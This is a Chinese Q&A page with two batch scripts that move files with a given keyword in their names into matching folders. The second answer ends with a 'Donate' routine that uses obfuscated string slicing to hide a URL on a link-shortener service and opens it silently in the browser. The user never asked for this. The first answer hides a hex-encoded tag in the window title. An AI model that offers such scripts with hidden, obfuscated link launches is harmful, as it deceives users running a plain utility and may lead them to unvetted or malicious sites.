如何用bat移动带有关键字文件到指定文件夹?

2024-10-31 04:44:04
推荐回答(2个)
回答1:

复制粘贴到记事本,另存为xx.bat,编码选ANSI
@echo off
rem 将多个文件名称中含有指定字符串/关键字的文件移动一个新目录内含有该字符串/关键字的文件夹里
set #=Any question&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$% %z%
set "oldfolder=E:\xxx\1"
set "newfolder=E:\xxx\2"
set "keyword=保证金"
if not exist "%oldfolder%" (echo;"%oldfolder%" not found&pause&exit)
for /f "delims=" %%b in ('dir /ad/b "%newfolder%\*%keyword%*"') do (
move "%oldfolder%\*%keyword%*.*" "%newfolder%\%%b\"
)
echo;%#% +%$%%$% %z%
pause

回答2:

@echo off & title 根据文件夹名来归类文件 By 依梦琴瑶

::设置源文件所在目录路径
set SrcFile=D:\1文件夹

::设置源文件夹所在目录路径
set SrcDir=D:\2文件夹

for /d %%a in ("%SrcDir%\*") do (
move /y "%SrcFile%\*%%~nxa*" "%%~a\"
)
pause
call :Donate
exit
:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit